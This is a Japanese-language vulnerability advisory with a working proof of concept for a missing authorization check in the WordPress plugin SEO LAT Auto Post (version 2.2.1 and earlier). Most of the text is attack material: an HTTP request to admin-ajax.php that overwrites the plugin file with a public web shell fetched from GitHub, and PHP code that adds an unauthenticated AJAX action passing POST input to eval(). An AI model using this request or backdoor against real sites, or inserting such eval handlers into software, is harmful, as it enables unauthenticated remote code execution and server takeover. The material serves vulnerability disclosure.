
SEO LAT Auto Post <= 2.2.1 - 認可の欠如によるファイルの上書き/アップロード(リモートコード実行)
SEO LAT Auto Post <= 2.2.1 - ファイルの上書き/アップロードに対する認可の欠落(リモートコード実行)
WordPress用プラグインSEO LAT Auto Postは、2.2.1以前の全バージョンにおいて、remote_update AJAXアクションに対する権限チェック(capability check)が欠落しているため、ファイル上書きの脆弱性があります。これにより、認証されていない攻撃者がseo-beginner-auto-post.phpファイルを上書きでき、リモートコード実行を達成するために悪用される可能性があります。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
これにより、https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php が上書きされます。RCEを実現するには、現在のプラグインを変更してnoprivアクションを追加することをお勧めします。https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php
以下のような関数を追加します。
// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');
// The callback function
function execute_code_callback() {
// Get the code to execute from the request
$code = $_POST['code'];
// Execute the code
eval($code);
// Return a success message
echo 'Code executed successfully!';
wp_die();
}